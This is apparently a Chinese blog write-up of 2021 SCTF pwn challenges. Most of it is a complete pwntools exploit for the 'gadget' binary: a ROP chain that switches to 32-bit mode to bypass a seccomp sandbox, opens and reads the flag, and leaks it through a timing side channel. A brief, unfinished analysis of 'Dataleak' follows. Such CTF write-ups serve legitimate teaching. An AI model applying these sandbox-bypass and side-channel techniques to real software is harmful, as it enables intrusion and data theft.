2021SCTF复现

SCTF复现

gadget

一个静态编译的文件

image-20220116104932158

本来看到静态编译想到的是直接使用pwntools的工具,但是实际上文件是开了沙盒的,这里只有read,alarm和fstat函数能被系统调用。

image-20220116105210814

但是仔细看看在x86下open函数的系统调用就是5,这样的话,我们可以先转换到32位执行open之后再回到64位执行read,最后再通过测信道攻击获取flag。

首先先在程序内写下flag的路径,为了后边可以调用open函数,

'''################################
调用read函数写flag路径
################################'''
payload1 =b'a'*stack_offset
payload1+=p64(pop_rax)
payload1+=p64(0)
payload1+=p64(pop_rdi_rbp)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(pop_rsi_r15_rbp)
payload1+=p64(flag_path)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(pop_r12_pop_r14_pop_r15_pop_rbp)
payload1+=p64(0x300)
payload1+=p64(syscall)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(mov_rdx_r12_call_r14)
payload1+=p64(pop_rsp_pop_r14_pop_r15_pop_rbp)
payload1+=p64(fake_stack)
sn(io,payload1)

接下来通过retf转化为32位然后调用open

'''################
在32位下调用open函数
################'''
payload2 =b'./flag'.ljust(0x10,b'\x00')
payload2+=p64(syscall)
payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rcx)
payload2+=p64(0)
payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp)
payload2+=p64(flag_path)
payload2+=p64(0x300)
payload2+=p64(syscall)
payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rax)
payload2+=p64(5)
payload2+=p64(retf)
payload2+=p32(int_80)
payload2+=p32(0x23)# $cs=0x23

然后再返回64位通过read函数来写flag到bss段

'''################################
返回64位调用read函数写flag到bss一区域
################################'''

payload2+=p32(retf)
payload2+=p32(pop_rdi_rbp)
payload2+=p32(0x33)# $cs=0x33
payload2+=p64(3)
payload2+=p64(fake_stack)
payload2+=p64(pop_rsi_r15_rbp)
payload2+=p64(read_flag_addr)

payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rax)
payload2+=p64(0)
payload2+=p64(syscall)
payload2+=p64(0)

在此之前的都很简单,困难的是这么测信道攻击,首先我们要知道要进行测信道攻击的话得先找到一个loop指令,这样当我们找到flag对应的字符后可以调转到此死循环中。

这里我采取的方法是将rax填入jmp rax的地址再调整到jmp rax处从而达到死循环的要求

那么剩下的条件就只有一个可以判断我们字符的指令了

我们搜索sub和ret

image-20220116133910476

发现有这样一条指令那么只需要搭配jne指令就可以做到我们想要的结果,唯一麻烦的就是得控制写入地址,但是也不算是特别困难的事情。

   '''#################################
测信道攻击
#################################'''
payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp)
payload2+=p64(rbx_need)
payload2+=p64(0)*4
payload2+=p64(sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret)
payload2+=p64(0)*3
payload2+=p64(jne_ret)
payload2+=p64(pop_rax)
payload2+=p64(jmp_rax)
payload2+=p64(jmp_rax)

最终exp:

from pwn import *
context.timeout=3
#context.log_level = "debug"
context.arch = 'amd64'
context.binary = elf = ELF("./gadget")
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)
io=process('./gadget')

stack_offset=56
retf = 0x4011ed
syscall=0x401165
int_80=0x4011f3

pop_rax = 0x401001
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp = 0x40172e
pop_r12_pop_r14_pop_r15_pop_rbp = 0x40172f
pop_rsp_pop_r14_pop_r15_pop_rbp = 0x401730
mov_rdx_r12_call_r14 = 0x402c07
pop_rcx = 0x40117b
jne_ret = 0x408853
sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret = 0x403f14
jmp_rax = 0X40107e
ret = 0x401002


bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=(bss_addr & 0xfffffffffffff000) + 0xD00 #open后read的起始位置
flag_path=fake_stack-0x10 #open所需要的字符串
flag_addr_base=fake_stack - 0x200
flag=""
def exp(io,off,cha):
#success('bss_addr: '+hex(bss_addr))
#success('fake_stack: '+hex(fake_stack))
#gdb.attach(io,'b main')
rbx_need=flag_addr_base+cha
read_flag_addr=rbx_need+0x41-off
'''################################
调用read函数写flag路径
################################'''
payload1 =b'a'*stack_offset
payload1+=p64(pop_rax)
payload1+=p64(0)
payload1+=p64(pop_rdi_rbp)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(pop_rsi_r15_rbp)
payload1+=p64(flag_path)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(pop_r12_pop_r14_pop_r15_pop_rbp)
payload1+=p64(0x300)
payload1+=p64(syscall)
payload1+=p64(0)
payload1+=p64(fake_stack)
payload1+=p64(mov_rdx_r12_call_r14)
payload1+=p64(pop_rsp_pop_r14_pop_r15_pop_rbp)
payload1+=p64(fake_stack)
sn(io,payload1)

'''################
在32位下调用open函数
################'''
payload2 =b'./flag'.ljust(0x10,b'\x00')
payload2+=p64(syscall)
payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rcx)
payload2+=p64(0)
payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp)
payload2+=p64(flag_path)
payload2+=p64(0x300)
payload2+=p64(syscall)
payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rax)
payload2+=p64(5)
payload2+=p64(retf)
payload2+=p32(int_80)
payload2+=p32(0x23)# $cs=0x23

'''################################
返回64位调用read函数写flag到bss一区域
################################'''

payload2+=p32(retf)
payload2+=p32(pop_rdi_rbp)
payload2+=p32(0x33)# $cs=0x33
payload2+=p64(3)
payload2+=p64(fake_stack)
payload2+=p64(pop_rsi_r15_rbp)
payload2+=p64(read_flag_addr)

payload2+=p64(0)
payload2+=p64(fake_stack)
payload2+=p64(pop_rax)
payload2+=p64(0)
payload2+=p64(syscall)
payload2+=p64(0)
'''#################################
测信道攻击
#################################'''
payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp)
payload2+=p64(rbx_need)
payload2+=p64(0)*4
payload2+=p64(sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret)
payload2+=p64(0)*3
payload2+=p64(jne_ret)
payload2+=p64(pop_rax)
payload2+=p64(jmp_rax)
payload2+=p64(jmp_rax)


sl(io,payload2)
io.recv()
#pause()


if __name__=="__main__":
for off in range(0,128):
strl="现在是第"+str(off)+"位"
print(strl)
for cha in range(0x20,127):
io=process('./gadget')
try:
exp(io,off,cha)
flag=flag+chr(cha)
print("flag:"+flag)
if chr(cha)=='}':
pause()
io.close()
break
except:
io.close()
continue

Dataleak

我们可以看到这里的v6里储存的是我们想要的flag。我们只需要想办法将其泄露出来就好了。

image-20220117135703799

可以看到这里是有打印函数,但是打印的范围是小于v5的内存大小的,就算v5没有截止符,这里也是没办法泄露出flag的。

image-20220117135836681

image-20220117135625231

那么可能有问题的地方就在write之前调用的函数了

image-20220117144031745

Author: Kr0emer
Link: http://kr0emer.com/2022/01/16/2021SCTF复现/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.